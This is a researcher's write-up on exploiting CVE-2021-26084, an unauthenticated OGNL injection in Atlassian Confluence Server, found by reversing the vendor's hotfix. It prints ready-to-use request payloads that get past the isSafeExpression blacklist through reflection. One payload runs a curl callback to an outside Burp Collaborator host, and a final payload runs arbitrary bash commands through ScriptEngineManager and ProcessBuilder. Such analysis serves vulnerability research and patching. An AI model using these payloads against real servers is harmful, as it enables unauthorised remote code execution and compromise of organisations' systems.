CVE-2021-26084 Remote Code Execution on Confluence Servers

We got this vulnerability in our Twitter feed via Matthias's tweet:

This looked like a great target for bug bounties as such we started to reverse the patch. So we reversed it and poped a shell.

Analyzing the hot patch

Generally, you'd do a diff between patched and unpatched versions to look for changed files but in this case, Atlassian made it easier by providing a shell script that patched the installation.

While going through the advisory we found that a hotfix was released by Atlassian for this CVE.

Looking at the shell script it was clear that there were a few `*.vm` files that were modified with a bit of string match and replace which implied the vulnerability should lie somewhere inside them.

We quickly grabbed the unpatched version (7.12.4) of Confluence Server, unzipped and to be just sure that we understood the patch correctly, we created a copy of the confluence server and applied the patch script on that copy.

From the output of the script it was clear that only 3 files were changed for us so we started to look at the first file that was changed, i.e., `<confluence_dir>/confluence/pages/createpage-entervariables.vm`

Next, step was to find the routing of these files which came out to be quite straightforward. We did a recursive grep for **createpage-entervariables.vm** and we found this file **xwork.xml** which seems to contain url patterns (routes) along with the Classes (and methods) where actual implementation exists.

Here, the value of `name` attribute of an action element corresponds to a path `/<nameValue>.action` and the element contains which template would be rendered as a part of response based on error/success etc.

So for example, simply visiting `/pages/doenterpagevariables.action` should render the velocity template file which was modified i.e. `createpage-entervariables.vm`. Remember that any route that renders this template would cause the vulnerability exist completely unauth regardless of you turning on Sign up feature.

We can see how the velocity template was rendered into an HTML page

Instead of directly jumping into the code, we took a blackbox approach and tried input tags name in the template as the parameters and found that the values were actually taken from request parameters and reflected back in the response.

```
    #tag ("Hidden" "name='queryString'" "value='$!queryString'")
...
    #tag ("Hidden" "name='linkCreation'" "value='$linkCreation")
```

Following this change from the hotfix, We added a random parameter in the request and we found that it was echoed in the place of `$!queryString`

As we were not familiar with OGNL or Template injection in Velocity before this, we just gave it a shot directly with `#{} %{} ${}` like expressions etc. but neither seemed to work and they echoed in the page as it is.

Then, we thought of trying `queryString` itself as a parameter name and to our surprise it actually worked and the value was again reflected in the `queryString` input tag. But again no dice with expression evaluation.

We tried breaking out quotes and then evaluating expressions like `'+#{3*33}+'` but neither worked.

After playing with `queryString` a little bit, one thing that caught our attention - Upon adding a backslash `\` , the value attribute of the `queryString` input didn't render this time altogether. It seemed like either we were able to break out of the context or there are some kind of escape sequences being rendered. When putting `queryString=\\` we found this time the value appeared as `\` which means it was the latter.

Tried a hex escape sequence like `\x2f` but the value didn't get rendered again, putting `\\x2f` gave us `\x2f` in the response, we then tried unicode escape sequences, `\u002f` and yes they got normalized to the actual value i.e. `\` .

So, knowing from the velocity template that the input lies inside single quotes, we tried to break it this time with `\u0027` and our suspicion got stronger when the value attribute didn't get reflected again. Trying again with \u0022 however just gave us `value="&quot;”`

After this it was just about balancing the quotes, `queryString=aaaa\u0027%2b\u0027bbb` and as expected this time the value attribute came out to be `value="aaaabbb"` which means the context was broken and our input was concatenated.

Next, simply concating it with an OGNL expression like `#{3*333}` , i.e., `queryString=aaaa\u0027%2b#{3*333}%2b\u0027bbb` and here's our unauth OGNL expression evaluation :)

Bypassing isSafeExpression

Just when we thought it was over and tried to directly execute an expression that would execute a command for us from a previous Confluence template injection. It didn't work!

Taking a step back, It was found that only a handful of variables/objects were accessible.

Example: `#{session}` , `#{attrs}` , etc. worked but we were not able to get our hands on request/response object, not even `#parameters` , neither were we able to set variables which implied there were some checks in place.

We had a look at our Confluence logs and found this

`isSafeExpression` method was being called before evaluating our OGNL expression which basically compiled our OGNL expression and looked if some malicious properties/methods were being called inside it.

Malicious variables, properties, node types and methods etc. are hardcoded in this static block which makes sense why #parameters #request didn't work for us

Compiles OGNL Expression and calls containsUnsafeExpression(..)

Checks on the AST Node tree of our parsed expression for the hardcoded blacklisting

As we can see the `getClass()` method is also blacklisted Since, `"".getClass()` is the most commonly used way to get an instance of a class and perform Java reflection to execute commands.

We googled a bit and found this from [Orange]() himself that we could also access `class` property using Array accessors instead of `getClass` method or `.class` property.

Payload would be - `queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022]}%2b\u0027bbb`

which decodes to - `queryString=aaa'+#{""["class"]}+'bbb`

After that it was just as straightforward as it could be, we got an instance of `java.lang.Runtime` class, invoked `getRuntime()` and finally called the `exec` method to obtain our much needed command execution.

Payload - `queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl <instance>.burpcollaborator.net\u0022)}%2b\u0027`

Which decodes to -

```
queryString=aaa'+
#{

""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,

}
+'
```

```
  #tag ( "Hidden" name="queryString" value="''+#{""["class"].forName("java.lang.Ru
```

Bonus - Better Payload

Though we got the code execution, there was a limitation on how the command is ran. The limitation is with `java.lang.Runtime.getRuntime().exec("String Command")` itself. Due to which we could not use redirections (< >) or Bash expansions like $() or `` or even operators like ;, |, &&, etc.

To circumvant this we could have used overloaded exec method which takes array as an argument.

`java.lang.Runtime.getRuntime().exec(new String[]{{"/bin/bash","-c", "any linux command here"})`

But unfortunately `isSafeExpression` gets triggerd with the usage of `new String[]`. We spent a good amount of time creating java arrays with the help of Reflections API but no luck with this as well.

Finally we came across this elegant solution which make use of `javax.script.ScriptEngineManager` to execute java code in javascript syntax. More on this at [Beans Validation RCE by @pwntester]

Final payload with shell features:

`queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var x=new` `java.lang.ProcessBuilder;x.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027'.$cmd.'\u0027]);x.start()\u0022)}%2b\u0027`

Which gets deocoded to -

```
queryString=aaa'+
#{

""["class"].forName("javax.script.ScriptEngineManager").newInstance().getEngineByNa

}
+'
```

Bonus - Debugging

Disclaimer - We couldn't determine where exactly the issue lies in code flow but here's our preliminary investigation

To find how the OGNL expressions are parsed in our user input that goes inside the velocity template. We set a breakpoint on `isSafeExpression` to see how the call stack looks like.

From our understanding & debugging we came to this conclusion:

Attributes of `#tag` components within Velocity template are evaluated as OGNL Expressions to convert the template into HTML.

- render method of `AST*` & `AbstractTagDirective` classes are called which inturn calls
  - processTag method of `AbstractTagDirective`, which calls doEndTag
    - And `evaluateParams` is where all name & value attributes are individually tried to be found & eventually parsed as OGNL expressions by method `findValue()` but before that
      - `SafeExpressionUtil.isSafeExpression` is called to check for malicious expression, once expression is considered safe, OgnlValueStack.findValue(..) is called again.
      -

- Finally we reach `Object o = expressions.get(expression);` inside `Ognlutil.Compile` method, here expression is our payload After this line is executed our unicode escapes in our input gets decoded and expression gets parsed again. > **This unicode decode is probably because of what Matthias [tweeted (https://twitter.com/matthias_kaiser/status/1432669762442698753) about being an OGNL thing**
-
-
  - And the call stack returns back, where it becomes the part of Writer object (and eventually part of HTML).
  -